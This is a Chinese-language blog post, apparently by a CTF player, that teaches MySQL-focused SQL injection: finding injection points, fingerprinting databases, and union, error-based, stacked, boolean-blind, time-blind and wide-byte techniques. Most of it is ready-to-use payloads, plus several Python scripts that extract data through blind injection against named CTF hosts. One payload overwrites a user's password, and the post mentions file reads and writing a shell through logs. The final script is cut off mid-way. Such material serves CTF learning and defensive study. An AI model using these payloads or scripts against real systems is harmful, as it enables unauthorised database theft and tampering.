看看sql注入


突然发现好久没写博客了,赶紧水一篇(雾)

三编

该文稍微总结一下我遇到过的sql注入(非常基础非常萌新,没学过的都能看得懂…吗?)


SQL漏洞成因

程序没有对用户的输入进行过滤。

例如SQL的查询语句可能是:

1
select user_id,user_name,user_type_email from users where user_id='$id' and password = '$password'

id和password是我们可输入的参数

在进行数据库查询时由于没有过滤单引号,我们输入1’和任意的密码时,语句会变成:

1
select user_id,user_name,user_type,email from users where user_id='1'' and password = '123132132'

由于sql语法中单引号必须成对存在,所以这条查询语句中1’后面的单引号会和前面的单引号闭合,导致后面的单引号变得多余了,这条语句就会报错,一般报错的内容就是:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1' at line 1

此时我们只需要将前面的单引号闭合,在后面插入我们想要查询的语句,就能够进行SQL的注入了

SQL注入点

挖掘sql注入的第一步就是要发现sql注入,只有发现了注入点才能够继续利用

所有和数据库有交互的地方都有可能存在sql注入,所以要根据数据包的发包情况,来关注可能那些数据会和数据库交互

  • 首先看url 是否有?id=1这种,如果有的话有可能是SQL注入

  • 然后就是给你一个框框,有可能是搜索用户名,也有可能是登录框,让你输入账号密码登录,也有可能是让你查询一段内容…

  • 然后就是http头,包括user-agent,cookie,referer,xff(有些flask的也经常用X-Forwarded-For)

具体来说看一个发的包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?id=homePage HTTP/1.1
Host: www.netspi.com
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Server-Name: PROD
Cookie: user=harold;
Content-Type: application/x-www-form-urlencoded

username=harold&email=harold@netspi.com

一些可能会和数据库交互的地方:

1
2
3
4
5
6
/?id=homePage
Host: www.netspi.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
X-Server-Name: PROD
Cookie: user=harold;
username=harold&email=harold@netspi.com

对于json格式的包,可以通过添加单双引号来破坏掉json格式:

具体做法就是添加单双引号

1
{"username":"test\""}

注入检测

  • 输入特殊字符是否抛出异常
  • 输入语句是否会返回预期的结果等

数据库识别

除了发现SQL注入的洞以外,你还要判断是哪种类型的数据库,不可能指望所有服务器都是mysql吧

一般来说可以利用数据库特有的函数来进行判断

或者是各种数据库的休眠函数

mysql

特有的注释符空格--空格

描述 语句
SLEEP函数 page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数 page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格) page.php?id=' 'mysql' -- 或者page.php?id=' and concat('some','string')
版本信息 select @@version 或者select version()
错误消息(根据返回的错误信息判断) page.php?id='
特有函数 select connection_id() select last_insert_id() select row_count()

oracle

默认表

  • page.jsp?id='UNION SELECT 1 FROM v$version --
  • select banner FROM v$version
  • select banner FROM v$version WHERE rownum=1

报错信息

  • page.jsp?id='

mssql

mssql的特性也挺多的:

描述 语句
WAITFOR函数 page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
报错信息 page.asp?id='
报错信息(利用@@SERVERNAME) page.asp?id=@@SERVERNAME
报错信息 page.asp?id=0/@@SERVERNAME
常量 @@pack_received或者@@rowcount

postgreSQL/PGSQL

  • 特殊sleep函数

page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a

一些页面

1
2
3
4
asp => mssql、access
aspx => mssql
php => mysql、postgresql
java => mysql、oracle、mssql

一些端口

1
2
3
4
oracle => 1521
mssql => 1433
mysql => 3306
postgresql => 5432

数据库特有函数

1
2
3
4
pg_sleep() => postgresql
benchmark() => mysql
waitfor delay => mssql
DBMS_PIPE.RECEIVE_MESSAGE() => oracle

特殊符号

1
2
; => 字句查询标识符,postgresql、mssql 默认可堆叠查询
# => Mysql 注释符

特殊表名

1
2
3
4
5
6
information_schema => mssql,postgresql,mysql
pg_tables => postgresql
sysobjects => mssql
all_tables,user_tables => oracle

#oracle或许可以加多个dual

还可以根据特殊的报错banner信息来判断

SQL Injection | pentestmonkey (gm7.org)

虽然是生肉,但是里面有很多sql的trick

SQL注入类型(?存疑)

分为字符型和数字型两种

判断方式也很简单:

1
2
3
4
5
6
?id=1 and 1=1  //不报错
?id=1 and 1=2 //报错

//说明是数字型注入
因为后台语句为
select * from <column_name> where id = x
1
2
3
4
5
?id=1' and '1'='1 //不报错
?id=1' and '1'='2 //报错
//说明为字符型注入
因为此时后台语句为
select * from <column_name> where id='x'

虽然但是我这一步好像从来没判断过,直接加个单引号注入的…

所以有些不用加单引号的题就比较容易吃亏

Mysql

一些常用函数、注释符

1
2
3
4
5
6
7
8
9
10
11
#注释符
#(%23) 用于单行注释,由于在url中,#表示anchor,也就是锚点。带上#的时候是不会请求后端路由而是刷新前端路由。所以要变成url编码的%23

--
-- -
+--+
上面这三个都是单行注释符,注意--之后还得加一个空格。
加号是因为URL中加号会被解码为空格

/**/
内联注释,一般用于绕waf、替代空格

一些常用的运算符,加减乘除取余那些就不说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<>或者!= 就是不等于

BETWEEN 这个后面讲,在二者之间
NOT BETWEEN 就是不在二者之间

IN 在集合中
NOT IN 不在集合中

<=> 严格比较两个NULL值是否相等

LIKE 模糊匹配

REGEXP 正则表达式匹配
RLIKE = REGEXP

IS NULL 为空
NOT NULL 非空

查看全局变量

1
2
SHOW GLOBAL VARIABLES;
SHOW VARIABLES;
1
2
3
4
5
6
7
8
@@VERSION 返回版本信息
@@GLOBAL.VERSION = @@VERSION

@@HOSTNAME 返回安装的计算机名称

@@BASEDIR 返回MYSQL的绝对路径

@@DATADIR 返回数据的路径

几个可利用的函数

1
2
3
4
5
6
database() 返回数据库名,常用于注入
例如1' union select 1,database(),3#

user() 获取当前执行命令的用户信息,和session_user() current_user()等效

version() 获取mysql数据库版本信息
1
2
3
4
5
6
7
8
9
10
11
12
13
ascii(str) 返回字符串中第一个字符的ascii的值,常用于盲注
ord(str) 与ascii一样

hex() 将字符串的十六进制返回
unhex() 反向hex

bin() 返回二进制

oct() 八进制

conv(n, from_base, to_base) 将n从from_base进制转到to_base进制

CHAR(n) 将n解释为整数,然后返回对应整数在ascii中对应的字符

字符串截取操作函数

常用于盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
substr(str, start, length) substring的简化版,返回str从start开始的,长度为length的字符串。mysql中的第一个字符从1开始

substring(str, start)
substring(str, start, len)
substring(str from start)
substring(str from start for len)

mid(str, pos, len) 同susbtr

right(str, len) 对于指定字符串,从右端开始截取指定长度
例如right("www.baidu.com", 3) 返回com
left(str, len) 对于指定字符串,从左端开始截取指定长度

RPAD(str, len, padstr) 用于补齐
假如字符串长度<len,则用padstr补齐到str右端,直至str的长度为len
如果长度>len,就优先返回靠前的字符
例如RPAD("hello world", 5, "***")
返回hello

LPAD(str, len, padstr) 用于补齐
假如字符串长度<len,则用padstr补齐到str左端,直至str的长度为len
如果长度>len,就优先返回靠前的字符
例如LPAD("hello world", 5, "***")
返回hello

insert(str, pos, len, newstr) 在str中自左数第pos位开始,长度为len的字符串替换为newstr,然后返回经过替换后的字符串

trim([LEADING|BOTH|TRAILING] rem_str FROM str)
从str的某个位置(LEADING 开头, BOTH所有位置, TRAILING 末尾)移除rem_str
例如select trim(leading 'x' from 'xxxbarxxx')
会返回barxxx
select trim(both 'x' from 'xxxbarxxx')
会返回bar
select trim(both 'x' from 'xxxbarxxx')
会返回xxxbar
这个也可以用于盲注

字符串拼接操作

常用的两个concat()group_concat()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
concat(str1, str2) 将多个字符串str1, str2合并为一个字符串
concat_ws(separator, str1, str2) 和concat函数类似,只是通过分隔符separator将字符串连接在一起

group_concat(...) 返回一个字符串结果,该结果由逗号连接组合而成

make_set(bits, str1, str2,...) 根据bits转成二进制的结果,返回由逗号拼接而成的字符串

例如make_set(2, 'a', 'b', 'c', 'd')
2的二进制是0010,故返回b
make_set(1|3, 'a', 'b', 'c', 'd')
1|3的结果是0001|0010 结果是0011,对应第一位和第二位,返回a,b
这个点可以用于盲注:
EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))
根据返回的01
加一之后就是12,分别对应1710
如果对返回1,加1后返回710exp(710)报错
否则正常

数据匹配操作

1
2
3
4
5
6
= 全匹配
LIKE 匹配数据,%表示任意内容
REGEXP 正则匹配数据,^从前往后匹配,$从后往前匹配
RLIKE 同regexp

regexp binary 正则匹配数据,区分大小写

条件函数

1
2
3
4
5
6
7
8
9
10
if(expr, state1, state2)  如果expr为true,执行state1,否则执行state2

case...when expr then state1 else state2 end 同if,casewhen中间的...可以直接被省略
也就是下面的
case when expr then state1 else state2 end
这个的利用可以到宽字节注入的时候再看看,有个题就是用这个的
qsnctf的ezsql
鹏城杯的股份公司那题(那个时候太卡了,打不动一点)

NULLIF(expr1, expr2),如果expr1与expr2相同,返回1,否则返回null

其他

挑几个重要的,那些什么sleep,benchmark这些就不说了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
limit m,n
这个主要是我没怎么用过
查询结果从m开始取n个

load_file()读文件,支持16进制数,比如0x2f....
支持ascii码,但是需要添加char函数,例如load_file(char(96,97))
在读取内容不显示的情况下,可以利用hex函数
hex(load_file())

locate(substr, str) 返回substr在str中第一次出现的位置
position = locate

lower() 将字符串全部转为小写
upper() 全大写

charset() 返回字符串使用的字符集

流程:数据库 表名 列名 数据

如果没有想要的可以通过文件的读写操作来进一步检测,比如load_file,日志写shell这些

mysql注入手法

1.联合查询

非常常用的注入,适用于有回显位的注入(也就是会返回我们输入数据结果的位置)

首先判断字段数:

1
2
3
4
5
6
7
1' order by n#
1' order by n--+
1' order by n'(某些过滤了#、--+等时常用)
或者直接利用and '1' ='1进行闭合,总之就是把后面的单引号闭合一下

其中n取自然数,当n回显正常且n+1回显异常时,字段数为n,假设字段为3
更新:这里的回显异常可能是直接报错,也有可能是一个返回空白

然后判断回显位:

1
2
3
4
5
6
7
1' union select 1,2,3#
1' union select 1,2,3--+
1' union select 1,2,3'
根据页面的信息观察回显位
比如Your name: 2
Your id: 3
即回显位为2和3

爆库:(推荐使用-1,这是因为查询只会显示第一条结果,需要将union查询前面的内容置空)

首先查询database()、user()、version()

version用于查看数据库版本

版本 手法说明
MySQL < 5.0 小于5.0,由于缺乏系统库information_schema,故通常情况下,无法直接找到表,字段等信息,只能通过猜解的方式来解决 直接猜库名,表名,列名,再使用联合查询,当然也可以使用布尔注入来猜解
MySQL >= 5.0 存在系统库information_schema,可直接查询到库名,表名,列名等信息

查询当前数据库名

1
-1' union select 1,database(),3#

查询所有数据库名

1
-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- -

爆表:

1
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆列名:

1
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='你想要爆的表名'#

爆内容:

1
-1' union select 1,group_concat(id,username,password),3 from column_name#

当然也可以写成:

1
2
3
4
5
-1' union select 1,group_concat(id,'--',username,'--',password),3 from column_name#
这样子回显出来的结果会比较好看(因为有--分隔)
或者-1' union select 1,2,group_concat(0x7e,username,0x7e,password) from users-- -
这样会显出来的结果就是~username1~password1~username2~password2
0x7e和--是一个作用,分隔符

1.1 limit注入点

如果注入点在limit之后,想要判断字段数的时候可以利用into @,@的手法,其中@为mysql的临时变量

1
2
3
4
5
6
7
假设字段数为2

select * from user limit @,@;
回显User variable name '' is illegal

select * from user limit @,@,@;
回显The used SELECT statements have a different number of columns

然后可以利用procedure analyse进行报错注入

1
... limit 0,4 procedure analyse((select extractvalue(1,concat(0x7e,database()))))

2.报错注入

报错注入适用于没有回显位的,但是页面有报错信息的时候

2.1 group by 重复键冲

反正我是看不懂:

1
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)--+

其实就是group_by + rand + floor

2.2 extractvalue()

updated in 2023/3/11

extractvalue()的报错注入和updatexml还是有点不一样的:

1
1' || extractvalue(1,concat(0x7e,(select data from (output))))#

2.3 updatexml()

与extractvalue()很相似,也是这三个里面最常用的:

1
1' and updatexml(1,concat('~',database()),3)#
1
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#

注意报错注入只能回显前32个字符,爆flag时可能需要添加reverse函数:

1
1' and updatexml(1,concat('~',(select(reverse(group_concat(text))) from wfy_comments)),3)#

2.4 exp、pow、溢出

version: 5.5.5 - 5.5.49

1
2
3
4
5
select exp(~(select * from (select user())a));

select pow(2,~(select * from (select user())a));

select 1+(~(select * from (select user())a));

解释一下,这里是利用一层select user查询,把里面的结果取名为a

再利用select * from a将a取出

这里必须使用嵌套,因为不使用嵌套不加select from 无法大整数溢出。

2.5 name_const

仅可获取version()

查询数据库版本:

1
1' AND (select * from(select name_const(version(),0x1),name_const(version(),0x1))a) -- -

2.6 uuid

适用版本 8.0.x

1
2
select uuid_to_bin((database()));
select bin_to_uuid((database()));

2.7 join

利用重复查询相同表的方法来爆数据:

sql语句:

1
2
3
4
select * from(select * from 表 a join 表 b)c  //爆表的第一列
select * from(select * from 表 a join 表 b using(第一列列名))c //爆第二个列名
select * from(select * from 表 a join 表 b using(第一列列名,第二列列名))c //爆第三个列名
...

搭配报错注入:

1
2
3
4
5
6
1' || extractvalue(1,concat(0x7e,(select * from (select * from output a join output b)c)))#
//爆出output表的第一个列名
回显:Duplicate column name 'data'

1' || extractvalue(1,concat(0x7e,(select * from (select * from output a join output b using(data))c)))#
...

局限:必须要知道数据库跟表明的时候才能够利用join

2.8 gtid

version >=5.7

仅一列,可以查user、version、database

1
2
select gtid_subset(user(),1);
select gtid_subtract(user(),1);

爆表名:

1
-1' union select 1,gtid_subset(group_concat((select group_concat(table_name) from information_schema.tables where table_schema=database())),1),3%23

2.9 polygon等几何函数

前提需要知道字段名:

爆当前查询语句的库、表、字段:

1
2
3
select flag from ctf where polygon(id);
#Illegal non geometric '`test`. `ctf`.`id`' value
select flag from ctf where polygon(flag);
函数 用法
GeometryCollection() GeometryCollection((select * from (select* from(select user())a)b))
polygon() polygon((select * from(select * from(select user())a)b))
multipoint() multipoint((select * from(select * from(select user())a)b))
multilinestring() multilinestring((select * from(select * from(select user())a)b))
linestring() linestring((select * from(select * from(select user())a)b))
multipolygon() multipolygon((select * from(select * from(select user())a)b))

不常用,很少用

2.10 st相关函数

version>=5.7

1
2
3
select ST_LatFromGeoHash(version());
select ST_LongFromGeoHash(version());
select ST_PointFromGeoHash(version(),0);
1
-1' union select 1,ST_LongFromGeoHash((select group_concat(table_name) from information_schema.tables where table_schema=database())),3%23

2.11 利用不存在的函数

可能会获得数据库的名称

2.12 BIG INT

当mysql数据库的某些边界数值进行运算的时候可能会产生报错

1
select !(select * from(select user())a)-~0;

高版本已修

1
2
# 当前数据库的所有表名
1' AND !(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)-~0 -- -

修复方法:

  1. 上waf,过滤掉能够造成报错注入的函数
  2. 万能预处理语句
  3. 不要在页面上

3.堆叠注入

在SQL中(以及在很多的地方中),分号表示命令的分隔,也就是SQL语句的结束,如果使用;后再在后面构造SQL语句,两条是可以一起执行的,例如:

1
1';update users set password='123456' where id=1;#

(此处可左转NewStarCTF week 3的multi SQL)

将id为1的密码更新为123456

使用条件:

  • mysql能够执行多条语句的时候,例如:
1
2
//php
$mysqli->multi_query($sql);
1
2
3
4
5
#python
with conn.cursor() as cursor:
#cursor.execute('SELECT * FROM userinfo order by %s' % field) cursor.execute/fetchall只会回显第一条mysql语句的执行结果
cursor.execute('SELECT * FROM userinfo order by %s;' % field)
res = cursor.fetchall()

爆库:

1
1';show databases;#

爆表:

1
1';show tables;#

爆列:

1
1';show xxx from xxxx;#

查看内容:

1
1';handler `表名` open as `a`;handler `a` read next;#

重命名:

1
2
3
4
rename table tb1 to tb3;
rename table tb2 to tb1;

alter table tb1 change column1 column2 char(100);

如果update等被过滤,可以使用sql预处理语句进行拼接:

1
1';set @sql=concat('u','pdate `score` listen=99999 where username="火华"');prepare sql_exe from @sql;execute sql_exe;#
1
;set @sql=concat('s','elect', ' * from xxx');prepare sql_exe from @sql; execute sql_exe;

堆叠注入的绕过

  • 分号的过滤可以利用\G替代(待验证)
  • 如果查询语句(select)这些一直被过滤,可以考虑利用十六进制:
1
;sEt/**/@a=0x.....;PRepare/**/hello/**/from/**/@a;execute/**/hello;#

此时就能执行我们的sql注入语句

盲注:

0xgame2023:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time
import binascii

url = 'http://124.71.184.68:50021/?order=id'
#select (flag) from (flag)


res="" #结果
for i in range(1,1000): #循环
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
turn = b"select if(ascii(substr((select (flag) from (flag)),%d,1))<%d,sleep(3.5),1);"%(i,mid)
turned = binascii.b2a_hex(turn)
turned = str(turned, 'utf-8')
turned = "0x"+turned
payload = url+';sEt/**/@a=%s;PRepare/**/hello/**/from/**/@a;execute/**/hello;'%(turned)+"%23" #sEt @a="select if(ascii(substr((select (flag) from (flag)),1,1))<130,sleep(5),1);";PRepare hello from @a;execute hello;#
print(payload)
times = time.time() #发送访问请求前的时间
html = requests.get(payload)
timee = time.time() #发送访问后的时间
keep = timee - times #当然是大-小
time.sleep(0.2) #防止429
if keep > 3.4:
right = mid
else:
left = mid + 1
mid = (left + right) //2

if mid <= 32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Results:",res) #输出最终结果
#print("Final Results:",res[::-1]) #如果选择倒序,选这个

4.布尔盲注

适用于页面只有两种回显结果,没有任何错误回显

  • 还有可能也是以下情况:
  1. HTTP状态响应码不同
  2. 响应头变化(比如302,或者设置了cookie)
  3. 报错(?)

4.1注入流程

  1. 闭合SQL语句
  2. 计算当前数据库名长度
  3. 逐字节获取数据库名
  4. 计算表的数量
  5. 计算表名的长度
  6. 逐字节获取表名
  7. 计算列的数量
  8. 计算列名的长度
  9. 逐字节获取列名
  10. 计算字段的数量
  11. 计算字段内容的长度
  12. 逐字节获取字段内容

常用的几个函数在盲注派上用场了:ascii substr这些

1
2
3
4
5
6
7
8
1' and left(database(),1)='s' -- - true
1' and left(database(),2)='se' -- - true

1' and substr(database(),1,1)='s' -- - true

1' and ascii(substr(database(),1,1))>97 -- - true
1' and ascii(substr(database(),1,1))>115 -- - false
1' and ascii(substr(database(),1,1))=115 -- - true

有的时候也可以使用异或符号(页面有1和0的时候)

直接用脚本跑就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
import sys#头文件

url="http://1189e07b-be07-49cc-9b96-af07b0b4f9b0.node4.buuoj.cn:81/search.php?id="

res="" #结果
for i in range(1,1000): #循环
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
#payload = url+"1^(ascii(substr(database(),%d,1))<%d)#"%(i,mid)#爆库
#payload = url+"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)#"%(i,mid)#爆表
#payload = url+"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)#"%(i,mid)#爆列
#payload = url+"1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))<%d)#"%(i,mid) #爆字段,第一个%d传入i 第二个%d传入mid值,数据库的ascii与mid两个作比较,如果一直< 一直循环
payload = url+"1^(ascii(substr((select(reverse(group_concat(id,username,password)))from(F1naI1y)),%d,1))<%d)#"%(i,mid) #爆字段,第一个%d传入i 第二个%d传入mid值,数据库的ascii与mid两个作比较,如果一直< 一直循环,倒序输出
html = requests.get(payload)
print(payload)
time.sleep(0.04)
if "ERROR" in html.text: #这里写入的传参值是< 返回的是ERROR才是对的反应
right = mid #如果有延时,右值取中值,再用左+右/2的新区间值与ascii比较(例如,第一次是ascii与80,如果小于80 用ascii与32+80/2=56比较)
else:
left = mid + 1 #如果没有,左值取中值+1,取(81,132)中值比较,ascii值比mid值要大
mid = (left + right) // 2 #重复上述过程

if mid <=32 or mid >=127:
break #防止超出ascii码值
res += chr(mid-1) #小于号,值要-1
print(res) #打印
print("Final Result:",res)
#print("Final Result:",res[::-1]) #采用倒序输出时,将结果正向输出

1
2
普通的查询语句为:
#payload=url+"1' and ascii(substr(database(),%d,1))<%d#"%(i,mid)

4.1 常用绕过

left

left(str, length),从左边开始截取长度为length的字符串,例如:

1
2
select left('www.baidu.com', 8)
#www.baid

与之对应的还有right,但是right是从右边往左截取的:

1
2
select right('www.baidu.com', 8)
#aidu.com

substring(str, index, length),截取特定长度的字符串,相当于substr

mid(str, index, length),同substr

strcmp(),比较字符串:

1
2
3
4
5
6
select strcmp(12345, 123456);
#-1
select strcmp(1234567, 123456);
#1
select strcmp(123456, 123456);
#1

利用strcmp代替等号:

1
2
where !strcmp(table_schema, 'ctf');
#相当于where table_schema='ctf';

between and也有类似的效果:

1
where table_schema between 'ctf' and 'ctf'

代替等号的还有in:

1
where table_schema in ('ctf')

jacko神的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string
import requests

url = "http://a.y1ng.vip:1119/"

# data="password=&username='%2bstrcmp(left(database(),{}),'{}')%23"#ctfgame
# data="password=&username='%2bstrcmp(left(hex((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/!strcmp(table_schema,'ctfgame'))),{}),'{}')%23"#SeCrrreT
data="password=&username='%2bstrcmp(left(hex((select group_concat(`1`) from (select 1,2 union select * from SeCrrreT)x)),{}),'{}')%23".replace(' ','/**/')#1,flag{fab99a66-23db-47b1-9db4-9262664d76a8}

result = ""
header = {
"Content-Type":"application/x-www-form-urlencoded"
}
length = 1

while True:
# for i in range(32,128):
# for i in 'abcdef'+string.digits:
for i in string.ascii_lowercase+string.digits+',_-{}':
payload = data.format(length, result+i)
r = requests.post(url=url, data=payload,headers=header)
# print(r.request.body)
# print(r.text)

if 'Admin' in r.text:
result = result+i
print(result)
length += 1
break
else:
break

like、regexp

regexp盲注:

1
(select database())regexp '^p'#

rlike也是等效的

like:

没有%时,like可以代替等号

在有%时,等效于regexp

1
(select database())like 'p%'#

绕过逗号

1
2
3
4
5
select substr('test' from 1 for 2);

select substring('test' from 1 for 2);

相当于 substr('test',1,2);

利用trim

1
select trim([both/leading/trailing]) 'x' from 'xxx';
1
2
select trim(leading 'a' from 'abc');--bc
select trim(leading 'b' from 'abc');--abc

4.2 基于报错的布尔盲注

exp:e的指数:

1
2
3
#当值大于709时就会报错:
select exp(710);
#ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

利用:

1
SELECT ~0;

它会返回一个大数18446744073709551615

同时,如果我们的语句执行成功的话就会return 0

所以:

1
2
SELECT ~(SELECT version());
#18446744073709551615

我们这样的话

就能够利用了:

1
SELECT exp(~(select * from (select table_name from information_schema.tables where table_schema=database())x));

(转载)使用exp进行SQL报错注入 - lcamry - 博客园 (cnblogs.com)

同理,能报错的还有:

cot(0)

**pow()**乘方

4.3基于正则的盲注

regexp:

1
-1' or user() regexp '^r'#

或者

1
-1' or user() regexp('^r')#

再或者:

1
2
-1' or user() regexp 0x....#
-1' or user() regexp(0x...)#

4.4 未知列明的盲注

在知道表明不知道列名的情况下,可利用:

1
select (select 'aaa','666')=(select * from user limit 1);

类似这种方法进行匹配

5.时间盲注

延时注入,页面啥回显都没有的时候,我们需要观察页面的请求时间(

1
2
3
4
5
1'||if(ascii(substr(database(),1,1))<115,sleep(0.3),1)#
//无延时
1'||if(ascii(substr(database(),1,1))<116,sleep(0.3),1)#
//有延时
说明库的第一个字符对应为ascii码=115的字符

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url=''
res=''
for i in range(1,100):
left = 32
right = 128
mid = (left + right) // 2
while(left < right):
payload = {
#"name" : "114514||if(ascii(substr(database(),%d,1))<%d,sleep(0.3),1)"%(i,mid) #爆库
#"name" : "114514||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,sleep(0.3),1)"%(i,mid)
#"name" : "114514||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),%d,1))<%d,sleep(0.3),1)"%(i,mid) #注意引号
#"name" : "114514||if(ascii(substr((select(group_concat(text))from(wfy_comments)),%d,1))<%d,sleep(0.3),1)"%(i,mid)
#"name" : "114514||if(ascii(substr((select(reverse(group_concat(text)))from(wfy_comments)),%d,1))<%d,sleep(0.3),1)"%(i,mid) #同样的倒置输出
}
print(payload)
times = time.time() #发送访问请求前的时间
html = requests.post(url,data=payload)
timee = time.time() #发送访问后的时间
keep = timee - times #当然是大-小
time.sleep(0.2) #防止429
if keep > 2:
right = mid
else:
left = mid + 1
mid = (left + right) //2

if mid <= 32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Results:",res) #输出最终结果
#print("Final Results:",res[::-1]) #如果选择倒序,选这个

根据注入类型的不同,前面的查询需要修改的(

过滤sleep:

benchmark(),将表达式执行n次,我们可以利用重复执行多次表达式强行延长执行时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url ='http://6b551a60-af9f-4f29-b3b4-689592d73faf.node4.buuoj.cn:81/index.php'
res=''
for i in range(1,100):
left = 32
right =128
mid = (left + right) // 2
while(left < right):
payload={
'username' : 'a',
#'password' : "0'||if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,benchmark(3000000,md5(1)),1)||'"%(i,mid)
#'password' : "0'||if(ascii(mid((select(group_concat(column_name))from(information_schema.tables)where(table_name='flaggg')),%d,1))<%d,benchmark(3000000,md5(1)),1)||'"%(i,mid)
'password' : "0'||if(ascii(mid((select(group_concat(cmd))from(flaggg)),%d,1))<%d,benchmark(3000000,md5(1)),1)||'"%(i,mid)
}

times = time.time()
html = requests.post(url,data=payload)
timee = time.time()
keep = timee-times
time.sleep(0.2)
print(payload)
if keep > 1.8:
right = mid
else:
left = mid + 1
mid = (left + right) // 2

if mid <=32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Result:",res)

笛卡尔积

非常的耗时:

1
select count(*) from imformation_schema.columns a, information_schema.columns b;

如果count被过滤,可以换成其他的函数如avg, min ,max, sum

*如果被过滤,可以利用某一个字段代替:

如:

1
select max(A.TABLE_NAME) from information_schema.columns A, information_schema.columns B, information_schema.schemata;

正则匹配,相当于新的sleep函数

1
select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b');

例如:

1
id=1' and if(mid(database(),1,1)='s',(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),1)%23

数据库的第一个字是s的话就执行笛卡尔积

肉眼可见的卡,非常的耗时,以至于最后直接把服务干爆了。尽量少用这个

6.headers注入

就是利用上面的方式,换了个注入点…

例如user-agents(sqli-labs的less-18)

cookies

referer

X-Forwarded-For

7.宽字节注入:

宽字节是多个字节宽度(>1)的编码(GBK,gb2312…)

汉字就是宽字节编码

宽字节注入的成因:

数据库的编码和php的编码设置成了两个不同的编码,例如utf-8gbk

此时如果利用addslashes转义,会使得我们多出一个\

要将反斜杠转义处理掉的方式有:

  • 让(\)失去作用
  • 让(\)的编码和另一个编码组合成两字节的编码(使得反斜杠消失)

第二种方法就是宽字节注入:

  • 单引号的编码是%27
  • 反斜杠的编码是%5c

所以我们只需要在单引号前加上%df,此时转义后的反斜杠(%5c)与%df就会组成一个汉字:運(运的繁体,%df%5c)

  • 用户输入1%df' or 1=1#
  • addslashes转义:1%df\' or 1=1#
  • gbk编码后:1運' or 1=1#

也就是:

1
1%df' union select 1,2,3%23

这个时候查询语句就会变成:

1
1運' union select 1,2,3%23

剩下的只需要和联合查询一样的地方即可,在前面的单引号添加%df

在爆列名时:

1
2
3
4
5
1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxxx'
后面的单引号也会转义,这个时候我们可以将xxxx使用hex编码,然后0x
例如users=7573657273
就写成
1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
  • utf-8到latin1:
1
2
3
4
5
6
7
$username = addslashes($_GET['username']);
if($username==='admin'){
die("no!");
}
else{
...
}

假设有个表里面是采用Latin1字符集的,此时只需要输入:

?username=admin%c2

%00-%7f能够直接表示某个字符 ,但是%c2-%f4只能表示长字符编码后结果的首字节

这些字节(%c2-%f4)在进行转换时会被直接抛弃

某次比赛的宽字节盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string
#...

def str2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result

strs = string.ascii_letters + string.digits + "{-}" #字符集
name = '' #flag
for j in strs:
print(j)
passwd = str2hex('^' + name + j)
